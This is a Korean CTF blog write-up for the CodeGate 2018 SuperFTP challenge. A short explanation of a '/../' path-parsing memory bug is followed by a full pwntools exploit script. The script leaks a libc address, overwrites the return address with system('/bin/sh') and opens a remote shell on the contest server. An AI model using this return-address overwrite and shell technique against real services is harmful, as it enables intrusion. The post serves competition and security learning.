본문 바로가기

CTF

CodeGate 2018 quals SuperFTP

 대회 내도록 이 문제를 잡았는데 결국 대회가 끝나고 나서 풀었다..ㅠㅠㅠㅠ


문자열을 파싱할때에 /../문자열 뒤에 / 가 없으면 /를 찾을때 까지 위로 올라간다.


이걸 가지고 ret를 덮을 수 있는데 0x2f를 메모리에 집어넣을 백터를 못찾았었다.....


근데 로그인 할때 main함수에서 카운터를 올리는걸 보고 0x2f번 로그인 해서 0x2f을 집어 넣은 다음 ret를 덮어서 쉘을 획득했다.


립씨릭은 아무값이나 때려넣다가 되길래 그걸 가지고 했다.


solve.py:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
 
elf=ELF("./ftp")
libc=ELF("./libc.so.6")
 
#p=process("./ftp", env={"LD_PRELOAD":"./libc.so.6"})
p=remote("ch41l3ng3s.codegate.kr"2121)
#p=remote("localhost", 12345)
 
def join(name, age, Id, Pw):
    p.send(p32(0x1))
    time.sleep(0.1)
    print p.recv()
    p.sendline(name)
    print p.recv()
    p.sendline(str(age))
    print p.recv()
    p.sendline(Id)
    print p.recv()
    p.sendline(Pw)
    print p.recv()
 
def login(Id, Pw):
    p.send(p32(0x3))
    time.sleep(0.1)
    print p.recv()
    p.sendline(Id)
    print p.recv()
    p.sendline(Pw)
    time.sleep(0.1)
    print p.recv()
 
def download(data):
    p.send(p32(0x5))
    time.sleep(0.1)
    print p.recv()
    p.sendline(data)
    time.sleep(0.1)
 
def admin_download(data):
    p.send(p32(0x8))
    time.sleep(0.1)
    p.send(p32(0x1))
    time.sleep(0.1)
    p.sendline(data)
    time.sleep(0.1)
 
 
join("A",12,"A","A")
 
login("admin","P3ssw0rd")
 
payload="/AAAAAAAAAAAAAAAAAAAAAAAAAA/../../BBBBBBBBBBBBBBBBBBBBBB"
print 'len -> ', hex(len(payload))
download(payload)
print p.recvuntil("../")
print p.recv(19)
libc_base =  u32(p.recv(4)[::-1]) - 0x1b070a
libc.address = libc_base
print hex(libc_base)
 
for i in range(0x2e):
    login("admin","P3ssw0rd")
 
 
system = libc.symbols['system']
binsh = next(libc.search("/bin/sh\x00"))
print 'binsh -> ', hex(binsh)
print 'system -> ', hex(system)
#gdb_pie_attach(p,[0x28e2], "tracemalloc on\n")
 
admin_download("/../AAAABBBB"+p32(binsh)[::-1]+"CCCC"+p32(system)[::-1])
admin_download("/../../AABBB"+p32(binsh)[::-1]+"CCCC"+p32(system)[::-1])
 
p.interactive()
 
cs

'CTF' 카테고리의 다른 글

HarekazeCTF 2018 Flea_attack  (0) 2018.02.11
HarekazeCTF 2018 Harekaze Farm  (0) 2018.02.11
CodeGate 2018 quals SuperMarimo  (2) 2018.02.07
CodeGate 2018 quals BaskinRobins31  (0) 2018.02.07
SCTF 2017 본썬 후기  (0) 2017.08.23